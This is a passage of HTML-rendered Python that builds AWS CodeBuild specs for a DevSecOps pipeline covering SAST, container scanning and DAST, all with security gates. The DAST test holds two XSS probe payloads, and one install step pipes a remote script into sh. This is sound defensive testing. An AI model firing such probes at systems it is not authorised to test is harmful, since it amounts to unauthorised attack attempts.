    with open(</span><span class="sh">'</span><span class="s">bandit_results.json</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">r</span><span class="sh">'</span><span class="s">) as f:
        bandit_data = json.load(f)
        if </span><span class="sh">'</span><span class="s">results</span><span class="sh">'</span><span class="s"> in bandit_data:
            for result in bandit_data[</span><span class="sh">'</span><span class="s">results</span><span class="sh">'</span><span class="s">]:
                issue_severity = result.get(</span><span class="sh">'</span><span class="s">issue_severity</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">MEDIUM</span><span class="sh">'</span><span class="s">).upper()
                sast_summary[</span><span class="sh">'</span><span class="s">total_issues</span><span class="sh">'</span><span class="s">] += 1
                if issue_severity == </span><span class="sh">'</span><span class="s">HIGH</span><span class="sh">'</span><span class="s">:
                    sast_summary[</span><span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="s">] += 1
                elif issue_severity == </span><span class="sh">'</span><span class="s">MEDIUM</span><span class="sh">'</span><span class="s">:
                    sast_summary[</span><span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="s">] += 1
                else:
                    sast_summary[</span><span class="sh">'</span><span class="s">low</span><span class="sh">'</span><span class="s">] += 1
        sast_summary[</span><span class="sh">'</span><span class="s">tools_used</span><span class="sh">'</span><span class="s">].append(</span><span class="sh">'</span><span class="s">bandit</span><span class="sh">'</span><span class="s">)
except:
    pass

# Process ESLint Security results
try:
    with open(</span><span class="sh">'</span><span class="s">eslint_security_results.json</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">r</span><span class="sh">'</span><span class="s">) as f:
        eslint_data = json.load(f)
        for file_result in eslint_data:
            if </span><span class="sh">'</span><span class="s">messages</span><span class="sh">'</span><span class="s"> in file_result:
                for message in file_result[</span><span class="sh">'</span><span class="s">messages</span><span class="sh">'</span><span class="s">]:
                    severity = message.get(</span><span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="s">, 1)
                    sast_summary[</span><span class="sh">'</span><span class="s">total_issues</span><span class="sh">'</span><span class="s">] += 1
                    if severity == 2:  # Error
                        sast_summary[</span><span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="s">] += 1
                    else:  # Warning
                        sast_summary[</span><span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="s">] += 1
        sast_summary[</span><span class="sh">'</span><span class="s">tools_used</span><span class="sh">'</span><span class="s">].append(</span><span class="sh">'</span><span class="s">eslint_security</span><span class="sh">'</span><span class="s">)
except:
    pass

# Process Semgrep results
try:
    with open(</span><span class="sh">'</span><span class="s">semgrep_results.json</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">r</span><span class="sh">'</span><span class="s">) as f:
        semgrep_data = json.load(f)
        if </span><span class="sh">'</span><span class="s">results</span><span class="sh">'</span><span class="s"> in semgrep_data:
            for result in semgrep_data[</span><span class="sh">'</span><span class="s">results</span><span class="sh">'</span><span class="s">]:
                severity = result.get(</span><span class="sh">'</span><span class="s">extra</span><span class="sh">'</span><span class="s">, {}).get(</span><span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">INFO</span><span class="sh">'</span><span class="s">).upper()
                sast_summary[</span><span class="sh">'</span><span class="s">total_issues</span><span class="sh">'</span><span class="s">] += 1
                if severity == </span><span class="sh">'</span><span class="s">ERROR</span><span class="sh">'</span><span class="s">:
                    sast_summary[</span><span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="s">] += 1
                elif severity == </span><span class="sh">'</span><span class="s">WARNING</span><span class="sh">'</span><span class="s">:
                    sast_summary[</span><span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="s">] += 1
                else:
                    sast_summary[</span><span class="sh">'</span><span class="s">low</span><span class="sh">'</span><span class="s">] += 1
        sast_summary[</span><span class="sh">'</span><span class="s">tools_used</span><span class="sh">'</span><span class="s">].append(</span><span class="sh">'</span><span class="s">semgrep</span><span class="sh">'</span><span class="s">)
except:
    pass

# Save summary
with open(</span><span class="sh">'</span><span class="s">sast_summary.json</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">w</span><span class="sh">'</span><span class="s">) as f:
    json.dump(sast_summary, f, indent=2)

print(f</span><span class="sh">'</span><span class="s">SAST analysis complete:</span><span class="sh">'</span><span class="s">)
print(f</span><span class="sh">'</span><span class="s">Total issues: {sast_summary[</span><span class="se">\"</span><span class="s">total_issues</span><span class="se">\"</span><span class="s">]}</span><span class="sh">'</span><span class="s">)
print(f</span><span class="sh">'</span><span class="s">Critical: {sast_summary[</span><span class="se">\"</span><span class="s">critical</span><span class="se">\"</span><span class="s">]}</span><span class="sh">'</span><span class="s">)
print(f</span><span class="sh">'</span><span class="s">High: {sast_summary[</span><span class="se">\"</span><span class="s">high</span><span class="se">\"</span><span class="s">]}</span><span class="sh">'</span><span class="s">)
print(f</span><span class="sh">'</span><span class="s">Medium: {sast_summary[</span><span class="se">\"</span><span class="s">medium</span><span class="se">\"</span><span class="s">]}</span><span class="sh">'</span><span class="s">)
print(f</span><span class="sh">'</span><span class="s">Low: {sast_summary[</span><span class="se">\"</span><span class="s">low</span><span class="se">\"</span><span class="s">]}</span><span class="sh">'</span><span class="s">)

# Security gate: fail if critical issues or too many high issues
if sast_summary[</span><span class="sh">'</span><span class="s">critical</span><span class="sh">'</span><span class="s">] &gt; 0 or sast_summary[</span><span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="s">] &gt; 10:
    print(</span><span class="sh">'</span><span class="s">SECURITY GATE FAILURE: Critical issues or excessive high-severity issues found</span><span class="sh">'</span><span class="s">)
    sys.exit(1)
</span><span class="sh">"</span><span class="s">
  
  post_build:
    commands:
      - echo SAST analysis completed
      - |
        if [ $CODEBUILD_BUILD_SUCCEEDING -eq 0 ]; then
          echo </span><span class="sh">"</span><span class="s">SAST analysis failed - stopping pipeline</span><span class="sh">"</span><span class="s">
          aws sns publish --topic-arn arn:aws:sns:us-east-1:$AWS_ACCOUNT_ID:devsecops-alerts </span><span class="se">\
</span><span class="s">            --message </span><span class="sh">"</span><span class="s">SAST analysis failed. Critical security issues detected in code.</span><span class="sh">"</span><span class="s">
        fi

artifacts:
  files:
    - sast_summary.json
    - bandit_results.json
    - eslint_security_results.json
    - semgrep_results.json
</span><span class="sh">"""</span>
    
    <span class="k">def</span> <span class="nf">get_container_scanning_buildspec</span><span class="p">(</span><span class="n">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Get buildspec for container scanning</span><span class="sh">"""</span>
        
        <span class="k">return</span> <span class="sh">"""</span><span class="s">
version: 0.2

phases:
  install:
    runtime-versions:
      docker: 20
    commands:
      # Install Trivy for container scanning
      - curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh -s -- -b /usr/local/bin
      
      # Install Docker Bench Security
      - git clone https://github.com/docker/docker-bench-security.git
      
      # Install Hadolint for Dockerfile linting
      - wget https://github.com/hadolint/hadolint/releases/latest/download/hadolint-Linux-x86_64
      - chmod +x hadolint-Linux-x86_64
      - mv hadolint-Linux-x86_64 /usr/local/bin/hadolint
  
  pre_build:
    commands:
      - echo Starting container security scanning...
      - echo Logging in to Amazon ECR...
      - aws ecr get-login-password --region $AWS_DEFAULT_REGION | docker login --username AWS --password-stdin $AWS_ACCOUNT_ID.dkr.ecr.$AWS_DEFAULT_REGION.amazonaws.com
  
  build:
    commands:
      # Dockerfile security linting with Hadolint
      - |
        if [ -f </span><span class="sh">"</span><span class="s">Dockerfile</span><span class="sh">"</span><span class="s"> ]; then
          echo </span><span class="sh">"</span><span class="s">Linting Dockerfile...</span><span class="sh">"</span><span class="s">
          hadolint --format json Dockerfile &gt; hadolint_results.json || true
        fi
      
      # Build container image
      - |
        if [ -f </span><span class="sh">"</span><span class="s">Dockerfile</span><span class="sh">"</span><span class="s"> ]; then
          echo </span><span class="sh">"</span><span class="s">Building container image...</span><span class="sh">"</span><span class="s">
          IMAGE_TAG=$IMAGE_REPO_NAME:$CODEBUILD_RESOLVED_SOURCE_VERSION
          docker build -t $IMAGE_TAG .
          
          # Scan the built image with Trivy
          echo </span><span class="sh">"</span><span class="s">Scanning container image for vulnerabilities...</span><span class="sh">"</span><span class="s">
          trivy image --format json --output trivy_image_results.json $IMAGE_TAG
          
          # Scan for secrets in image
          trivy image --format json --scanners secret --output trivy_secret_results.json $IMAGE_TAG
          
          # Scan for misconfigurations
          trivy image --format json --scanners config --output trivy_config_results.json $IMAGE_TAG
        fi
      
      # Run Docker Bench Security if Docker daemon is available
      - |
        if docker info &gt; /dev/null 2&gt;&amp;1; then
          echo </span><span class="sh">"</span><span class="s">Running Docker Bench Security...</span><span class="sh">"</span><span class="s">
          cd docker-bench-security
          ./docker-bench-security.sh -c container_images &gt; ../docker_bench_results.log 2&gt;&amp;1 || true
          cd ..
        fi
      
      # Aggregate container security results
      - python3 -c </span><span class="sh">"</span><span class="s">
import json
import sys
import re

container_summary = {
    </span><span class="sh">'</span><span class="s">dockerfile_issues</span><span class="sh">'</span><span class="s">: 0,
    </span><span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="s">: {
        </span><span class="sh">'</span><span class="s">critical</span><span class="sh">'</span><span class="s">: 0,
        </span><span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="s">: 0,
        </span><span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="s">: 0,
        </span><span class="sh">'</span><span class="s">low</span><span class="sh">'</span><span class="s">: 0,
        </span><span class="sh">'</span><span class="s">total</span><span class="sh">'</span><span class="s">: 0
    },
    </span><span class="sh">'</span><span class="s">secrets_found</span><span class="sh">'</span><span class="s">: 0,
    </span><span class="sh">'</span><span class="s">misconfigurations</span><span class="sh">'</span><span class="s">: 0,
    </span><span class="sh">'</span><span class="s">compliance_issues</span><span class="sh">'</span><span class="s">: 0
}

# Process Hadolint results
try:
    with open(</span><span class="sh">'</span><span class="s">hadolint_results.json</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">r</span><span class="sh">'</span><span class="s">) as f:
        hadolint_data = json.load(f)
        container_summary[</span><span class="sh">'</span><span class="s">dockerfile_issues</span><span class="sh">'</span><span class="s">] = len(hadolint_data)
except:
    pass

# Process Trivy image vulnerability results
try:
    with open(</span><span class="sh">'</span><span class="s">trivy_image_results.json</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">r</span><span class="sh">'</span><span class="s">) as f:
        trivy_data = json.load(f)
        if </span><span class="sh">'</span><span class="s">Results</span><span class="sh">'</span><span class="s"> in trivy_data:
            for result in trivy_data[</span><span class="sh">'</span><span class="s">Results</span><span class="sh">'</span><span class="s">]:
                if </span><span class="sh">'</span><span class="s">Vulnerabilities</span><span class="sh">'</span><span class="s"> in result:
                    for vuln in result[</span><span class="sh">'</span><span class="s">Vulnerabilities</span><span class="sh">'</span><span class="s">]:
                        severity = vuln.get(</span><span class="sh">'</span><span class="s">Severity</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">UNKNOWN</span><span class="sh">'</span><span class="s">).lower()
                        container_summary[</span><span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="s">][</span><span class="sh">'</span><span class="s">total</span><span class="sh">'</span><span class="s">] += 1
                        if severity in container_summary[</span><span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="s">]:
                            container_summary[</span><span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="s">][severity] += 1
except:
    pass

# Process Trivy secret scan results
try:
    with open(</span><span class="sh">'</span><span class="s">trivy_secret_results.json</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">r</span><span class="sh">'</span><span class="s">) as f:
        trivy_secret_data = json.load(f)
        if </span><span class="sh">'</span><span class="s">Results</span><span class="sh">'</span><span class="s"> in trivy_secret_data:
            for result in trivy_secret_data[</span><span class="sh">'</span><span class="s">Results</span><span class="sh">'</span><span class="s">]:
                if </span><span class="sh">'</span><span class="s">Secrets</span><span class="sh">'</span><span class="s"> in result:
                    container_summary[</span><span class="sh">'</span><span class="s">secrets_found</span><span class="sh">'</span><span class="s">] += len(result[</span><span class="sh">'</span><span class="s">Secrets</span><span class="sh">'</span><span class="s">])
except:
    pass

# Process Trivy config scan results
try:
    with open(</span><span class="sh">'</span><span class="s">trivy_config_results.json</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">r</span><span class="sh">'</span><span class="s">) as f:
        trivy_config_data = json.load(f)
        if </span><span class="sh">'</span><span class="s">Results</span><span class="sh">'</span><span class="s"> in trivy_config_data:
            for result in trivy_config_data[</span><span class="sh">'</span><span class="s">Results</span><span class="sh">'</span><span class="s">]:
                if </span><span class="sh">'</span><span class="s">Misconfigurations</span><span class="sh">'</span><span class="s"> in result:
                    container_summary[</span><span class="sh">'</span><span class="s">misconfigurations</span><span class="sh">'</span><span class="s">] += len(result[</span><span class="sh">'</span><span class="s">Misconfigurations</span><span class="sh">'</span><span class="s">])
except:
    pass

# Process Docker Bench results
try:
    with open(</span><span class="sh">'</span><span class="s">docker_bench_results.log</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">r</span><span class="sh">'</span><span class="s">) as f:
        bench_content = f.read()
        # Count WARN and INFO items as compliance issues
        warn_count = len(re.findall(r</span><span class="sh">'</span><span class="s">\[WARN\]</span><span class="sh">'</span><span class="s">, bench_content))
        info_count = len(re.findall(r</span><span class="sh">'</span><span class="s">\[INFO\]</span><span class="sh">'</span><span class="s">, bench_content))
        container_summary[</span><span class="sh">'</span><span class="s">compliance_issues</span><span class="sh">'</span><span class="s">] = warn_count + info_count
except:
    pass

# Save summary
with open(</span><span class="sh">'</span><span class="s">container_scan_summary.json</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">w</span><span class="sh">'</span><span class="s">) as f:
    json.dump(container_summary, f, indent=2)

print(f</span><span class="sh">'</span><span class="s">Container security scan complete:</span><span class="sh">'</span><span class="s">)
print(f</span><span class="sh">'</span><span class="s">Dockerfile issues: {container_summary[</span><span class="se">\"</span><span class="s">dockerfile_issues</span><span class="se">\"</span><span class="s">]}</span><span class="sh">'</span><span class="s">)
print(f</span><span class="sh">'</span><span class="s">Total vulnerabilities: {container_summary[</span><span class="se">\"</span><span class="s">vulnerabilities</span><span class="se">\"</span><span class="s">][</span><span class="se">\"</span><span class="s">total</span><span class="se">\"</span><span class="s">]}</span><span class="sh">'</span><span class="s">)
print(f</span><span class="sh">'</span><span class="s">Critical: {container_summary[</span><span class="se">\"</span><span class="s">vulnerabilities</span><span class="se">\"</span><span class="s">][</span><span class="se">\"</span><span class="s">critical</span><span class="se">\"</span><span class="s">]}</span><span class="sh">'</span><span class="s">)
print(f</span><span class="sh">'</span><span class="s">High: {container_summary[</span><span class="se">\"</span><span class="s">vulnerabilities</span><span class="se">\"</span><span class="s">][</span><span class="se">\"</span><span class="s">high</span><span class="se">\"</span><span class="s">]}</span><span class="sh">'</span><span class="s">)
print(f</span><span class="sh">'</span><span class="s">Secrets found: {container_summary[</span><span class="se">\"</span><span class="s">secrets_found</span><span class="se">\"</span><span class="s">]}</span><span class="sh">'</span><span class="s">)
print(f</span><span class="sh">'</span><span class="s">Misconfigurations: {container_summary[</span><span class="se">\"</span><span class="s">misconfigurations</span><span class="se">\"</span><span class="s">]}</span><span class="sh">'</span><span class="s">)
print(f</span><span class="sh">'</span><span class="s">Compliance issues: {container_summary[</span><span class="se">\"</span><span class="s">compliance_issues</span><span class="se">\"</span><span class="s">]}</span><span class="sh">'</span><span class="s">)

# Security gate: fail if critical vulnerabilities or secrets found
if (container_summary[</span><span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="s">][</span><span class="sh">'</span><span class="s">critical</span><span class="sh">'</span><span class="s">] &gt; 0 or 
    container_summary[</span><span class="sh">'</span><span class="s">secrets_found</span><span class="sh">'</span><span class="s">] &gt; 0 or
    container_summary[</span><span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="s">][</span><span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="s">] &gt; 20):
    print(</span><span class="sh">'</span><span class="s">SECURITY GATE FAILURE: Critical vulnerabilities or secrets found in container</span><span class="sh">'</span><span class="s">)
    sys.exit(1)
</span><span class="sh">"</span><span class="s">
      
      # Push image to ECR if security scan passes
      - |
        if [ $CODEBUILD_BUILD_SUCCEEDING -eq 1 ] &amp;&amp; [ -f </span><span class="sh">"</span><span class="s">Dockerfile</span><span class="sh">"</span><span class="s"> ]; then
          echo </span><span class="sh">"</span><span class="s">Security scan passed, pushing image to ECR...</span><span class="sh">"</span><span class="s">
          IMAGE_TAG=$IMAGE_REPO_NAME:$CODEBUILD_RESOLVED_SOURCE_VERSION
          docker tag $IMAGE_TAG $AWS_ACCOUNT_ID.dkr.ecr.$AWS_DEFAULT_REGION.amazonaws.com/$IMAGE_TAG
          docker push $AWS_ACCOUNT_ID.dkr.ecr.$AWS_DEFAULT_REGION.amazonaws.com/$IMAGE_TAG
        fi
  
  post_build:
    commands:
      - echo Container scanning completed
      - |
        if [ $CODEBUILD_BUILD_SUCCEEDING -eq 0 ]; then
          echo </span><span class="sh">"</span><span class="s">Container scanning failed - stopping pipeline</span><span class="sh">"</span><span class="s">
          aws sns publish --topic-arn arn:aws:sns:us-east-1:$AWS_ACCOUNT_ID:devsecops-alerts </span><span class="se">\
</span><span class="s">            --message </span><span class="sh">"</span><span class="s">Container security scan failed. Critical vulnerabilities or secrets detected.</span><span class="sh">"</span><span class="s">
        fi

artifacts:
  files:
    - container_scan_summary.json
    - hadolint_results.json
    - trivy_image_results.json
    - trivy_secret_results.json
    - trivy_config_results.json
    - docker_bench_results.log

environment:
  variables:
    IMAGE_REPO_NAME: my-secure-app
</span><span class="sh">"""</span>
    
    <span class="k">def</span> <span class="nf">get_dast_testing_buildspec</span><span class="p">(</span><span class="n">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Get buildspec for DAST testing</span><span class="sh">"""</span>
        
        <span class="k">return</span> <span class="sh">"""</span><span class="s">
version: 0.2

phases:
  install:
    runtime-versions:
      python: 3.9
    commands:
      # Install OWASP ZAP
      - wget https://github.com/zaproxy/zaproxy/releases/download/v2.12.0/ZAP_2_12_0_Linux.tar.gz
      - tar -xzf ZAP_2_12_0_Linux.tar.gz
      - export PATH=$PATH:$(pwd)/ZAP_2.12.0
      
      # Install Nikto
      - git clone https://github.com/sullo/nikto.git
      - chmod +x nikto/program/nikto.pl
      
      # Install additional security tools
      - pip install requests beautifulsoup4
  
  pre_build:
    commands:
      - echo Starting Dynamic Application Security Testing...
      - echo Waiting for application deployment to be ready...
      - sleep 30  # Wait for staging deployment
  
  build:
    commands:
      # Basic connectivity test
      - |
        APP_URL=${APPLICATION_URL:-</span><span class="sh">"</span><span class="s">http://localhost:8080</span><span class="sh">"</span><span class="s">}
        echo </span><span class="sh">"</span><span class="s">Testing application at: $APP_URL</span><span class="sh">"</span><span class="s">
        
        # Test if application is responding
        curl -f $APP_URL/health || {
          echo </span><span class="sh">"</span><span class="s">Application health check failed</span><span class="sh">"</span><span class="s">
          exit 1
        }
      
      # OWASP ZAP baseline scan
      - |
        echo </span><span class="sh">"</span><span class="s">Running OWASP ZAP baseline scan...</span><span class="sh">"</span><span class="s">
        zap.sh -cmd -quickurl $APP_URL -quickout zap_baseline_results.xml -quickprogress || true
        
        # Convert XML to JSON for easier processing
        python3 -c </span><span class="sh">"</span><span class="s">
import xml.etree.ElementTree as ET
import json

try:
    tree = ET.parse(</span><span class="sh">'</span><span class="s">zap_baseline_results.xml</span><span class="sh">'</span><span class="s">)
    root = tree.getroot()
    
    alerts = []
    for alert in root.findall(</span><span class="sh">'</span><span class="s">.//alertitem</span><span class="sh">'</span><span class="s">):
        alert_data = {
            </span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="s">: alert.find(</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="s">).text if alert.find(</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="s">) is not None else </span><span class="sh">'</span><span class="s">Unknown</span><span class="sh">'</span><span class="s">,
            </span><span class="sh">'</span><span class="s">riskdesc</span><span class="sh">'</span><span class="s">: alert.find(</span><span class="sh">'</span><span class="s">riskdesc</span><span class="sh">'</span><span class="s">).text if alert.find(</span><span class="sh">'</span><span class="s">riskdesc</span><span class="sh">'</span><span class="s">) is not None else </span><span class="sh">'</span><span class="s">Unknown</span><span class="sh">'</span><span class="s">,
            </span><span class="sh">'</span><span class="s">confidence</span><span class="sh">'</span><span class="s">: alert.find(</span><span class="sh">'</span><span class="s">confidence</span><span class="sh">'</span><span class="s">).text if alert.find(</span><span class="sh">'</span><span class="s">confidence</span><span class="sh">'</span><span class="s">) is not None else </span><span class="sh">'</span><span class="s">Unknown</span><span class="sh">'</span><span class="s">,
            </span><span class="sh">'</span><span class="s">desc</span><span class="sh">'</span><span class="s">: alert.find(</span><span class="sh">'</span><span class="s">desc</span><span class="sh">'</span><span class="s">).text if alert.find(</span><span class="sh">'</span><span class="s">desc</span><span class="sh">'</span><span class="s">) is not None else </span><span class="sh">'</span><span class="s">No description</span><span class="sh">'</span><span class="s">,
            </span><span class="sh">'</span><span class="s">uri</span><span class="sh">'</span><span class="s">: alert.find(</span><span class="sh">'</span><span class="s">uri</span><span class="sh">'</span><span class="s">).text if alert.find(</span><span class="sh">'</span><span class="s">uri</span><span class="sh">'</span><span class="s">) is not None else </span><span class="sh">'</span><span class="s">Unknown</span><span class="sh">'</span><span class="s">
        }
        alerts.append(alert_data)
    
    with open(</span><span class="sh">'</span><span class="s">zap_results.json</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">w</span><span class="sh">'</span><span class="s">) as f:
        json.dump(alerts, f, indent=2)
        
except Exception as e:
    print(f</span><span class="sh">'</span><span class="s">Error processing ZAP results: {e}</span><span class="sh">'</span><span class="s">)
    with open(</span><span class="sh">'</span><span class="s">zap_results.json</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">w</span><span class="sh">'</span><span class="s">) as f:
        json.dump([], f)
</span><span class="sh">"</span><span class="s">
      
      # Nikto web server scanner
      - |
        echo </span><span class="sh">"</span><span class="s">Running Nikto web server scan...</span><span class="sh">"</span><span class="s">
        perl nikto/program/nikto.pl -h $APP_URL -Format json -output nikto_results.json || true
      
      # Custom security tests
      - |
        echo </span><span class="sh">"</span><span class="s">Running custom security tests...</span><span class="sh">"</span><span class="s">
        python3 -c </span><span class="sh">"</span><span class="s">
import requests
import json
import sys
from urllib.parse import urljoin

APP_URL = </span><span class="sh">'</span><span class="s">$APP_URL</span><span class="sh">'</span><span class="s">
security_tests = {
    </span><span class="sh">'</span><span class="s">sql_injection</span><span class="sh">'</span><span class="s">: [],
    </span><span class="sh">'</span><span class="s">xss_tests</span><span class="sh">'</span><span class="s">: [],
    </span><span class="sh">'</span><span class="s">header_security</span><span class="sh">'</span><span class="s">: {},
    </span><span class="sh">'</span><span class="s">ssl_security</span><span class="sh">'</span><span class="s">: {},
    </span><span class="sh">'</span><span class="s">information_disclosure</span><span class="sh">'</span><span class="s">: []
}

# Test for security headers
try:
    response = requests.get(APP_URL, timeout=10)
    headers = response.headers
    
    security_tests[</span><span class="sh">'</span><span class="s">header_security</span><span class="sh">'</span><span class="s">] = {
        </span><span class="sh">'</span><span class="s">x_frame_options</span><span class="sh">'</span><span class="s">: headers.get(</span><span class="sh">'</span><span class="s">X-Frame-Options</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">MISSING</span><span class="sh">'</span><span class="s">),
        </span><span class="sh">'</span><span class="s">x_content_type_options</span><span class="sh">'</span><span class="s">: headers.get(</span><span class="sh">'</span><span class="s">X-Content-Type-Options</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">MISSING</span><span class="sh">'</span><span class="s">),
        </span><span class="sh">'</span><span class="s">strict_transport_security</span><span class="sh">'</span><span class="s">: headers.get(</span><span class="sh">'</span><span class="s">Strict-Transport-Security</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">MISSING</span><span class="sh">'</span><span class="s">),
        </span><span class="sh">'</span><span class="s">content_security_policy</span><span class="sh">'</span><span class="s">: headers.get(</span><span class="sh">'</span><span class="s">Content-Security-Policy</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">MISSING</span><span class="sh">'</span><span class="s">),
        </span><span class="sh">'</span><span class="s">x_xss_protection</span><span class="sh">'</span><span class="s">: headers.get(</span><span class="sh">'</span><span class="s">X-XSS-Protection</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">MISSING</span><span class="sh">'</span><span class="s">)
    }
    
    # Check for information disclosure in headers
    disclosure_headers = [</span><span class="sh">'</span><span class="s">Server</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">X-Powered-By</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">X-AspNet-Version</span><span class="sh">'</span><span class="s">]
    for header in disclosure_headers:
        if header in headers:
            security_tests[</span><span class="sh">'</span><span class="s">information_disclosure</span><span class="sh">'</span><span class="s">].append({
                </span><span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="s">: </span><span class="sh">'</span><span class="s">header_disclosure</span><span class="sh">'</span><span class="s">,
                </span><span class="sh">'</span><span class="s">header</span><span class="sh">'</span><span class="s">: header,
                </span><span class="sh">'</span><span class="s">value</span><span class="sh">'</span><span class="s">: headers[header]
            })
    
    # Basic XSS tests (safe payloads for testing)
    xss_payloads = [</span><span class="sh">'</span><span class="s">&lt;script&gt;alert(1)&lt;/script&gt;</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">&lt;img src=x onerror=alert(1)&gt;</span><span class="sh">'</span><span class="s">]
    for payload in xss_payloads:
        try:
            test_url = f</span><span class="sh">'</span><span class="s">{APP_URL}?test={payload}</span><span class="sh">'</span><span class="s">
            test_response = requests.get(test_url, timeout=5)
            if payload in test_response.text:
                security_tests[</span><span class="sh">'</span><span class="s">xss_tests</span><span class="sh">'</span><span class="s">].append({
                    </span><span class="sh">'</span><span class="s">payload</span><span class="sh">'</span><span class="s">: payload,
                    </span><span class="sh">'</span><span class="s">reflected</span><span class="sh">'</span><span class="s">: True,
                    </span><span class="sh">'</span><span class="s">url</span><span class="sh">'</span><span class="s">: test_url
                })
        except:
            pass

except Exception as e:
    print(f</span><span class="sh">'</span><span class="s">Error in custom security tests: {e}</span><span class="sh">'</span><span class="s">)

# Save custom test results
with open(</span><span class="sh">'</span><span class="s">custom_security_tests.json</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">w</span><span class="sh">'</span><span class="s">) as f:
    json.dump(security_tests, f, indent=2)
</span><span class="sh">"</span><span class="s">
      
      # Aggregate DAST results
      - python3 -c </span><span class="sh">"</span><span class="s">
import json
import sys

dast_summary = {
    </span><span class="sh">'</span><span class="s">total_vulnerabilities</span><span class="sh">'</span><span class="s">: 0,
    </span><span class="sh">'</span><span class="s">high_risk</span><span class="sh">'</span><span class="s">: 0,
    </span><span class="sh">'</span><span class="s">medium_risk</span><span class="sh">'</span><span class="s">: 0,
    </span><span class="sh">'</span><span class="s">low_risk</span><span class="sh">'</span><span class="s">: 0,
    </span><span class="sh">'</span><span class="s">security_headers</span><span class="sh">'</span><span class="s">: {
        </span><span class="sh">'</span><span class="s">missing</span><span class="sh">'</span><span class="s">: 0,
        </span><span class="sh">'</span><span class="s">total_checked</span><span class="sh">'</span><span class="s">: 5
    },
    </span><span class="sh">'</span><span class="s">information_disclosure</span><span class="sh">'</span><span class="s">: 0,
    </span><span class="sh">'</span><span class="s">potential_xss</span><span class="sh">'</span><span class="s">: 0
}

# Process ZAP results
try:
    with open(</span><span class="sh">'</span><span class="s">zap_results.json</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">r</span><span class="sh">'</span><span class="s">) as f:
        zap_data = json.load(f)
        for alert in zap_data:
            risk = alert.get(</span><span class="sh">'</span><span class="s">riskdesc</span><span class="sh">'</span><span class="s">, </span><span class="sh">''</span><span class="s">).lower()
            dast_summary[</span><span class="sh">'</span><span class="s">total_vulnerabilities</span><span class="sh">'</span><span class="s">] += 1
            if </span><span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="s"> in risk:
                dast_summary[</span><span class="sh">'</span><span class="s">high_risk</span><span class="sh">'</span><span class="s">] += 1
            elif </span><span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="s"> in risk:
                dast_summary[</span><span class="sh">'</span><span class="s">medium_risk</span><span class="sh">'</span><span class="s">] += 1
            else:
                dast_summary[</span><span class="sh">'</span><span class="s">low_risk</span><span class="sh">'</span><span class="s">] += 1
except:
    pass

# Process custom security tests
try:
    with open(</span><span class="sh">'</span><span class="s">custom_security_tests.json</span><span class="sh">'</span><span class="s">, </span><span class="sh">'</span><span class="s">r</span><span class="sh">'</span><span class="s">) as f:
        custom_data = json.load(f)
        
        # Count missing security headers
        headers = custom_data.get(</span><span class="sh">'</span><span class="s">header_security</span><span class="sh">'</span><span class="s">, {})
        for header, value in headers.items():
            if value == </span><span class="sh">'</span><span class="s">MISSING</span><span class="sh">'</span><span class="s">:
                dast_summary[</span><span class="sh">'</span><span class="s">security_headers</span><span class="sh">'</span><span class="s">][</span><span class="sh">'</span><span class="s">missing</span><span class="sh">'</span><span class="s">] += 1
        
        # Count information disclosure issues
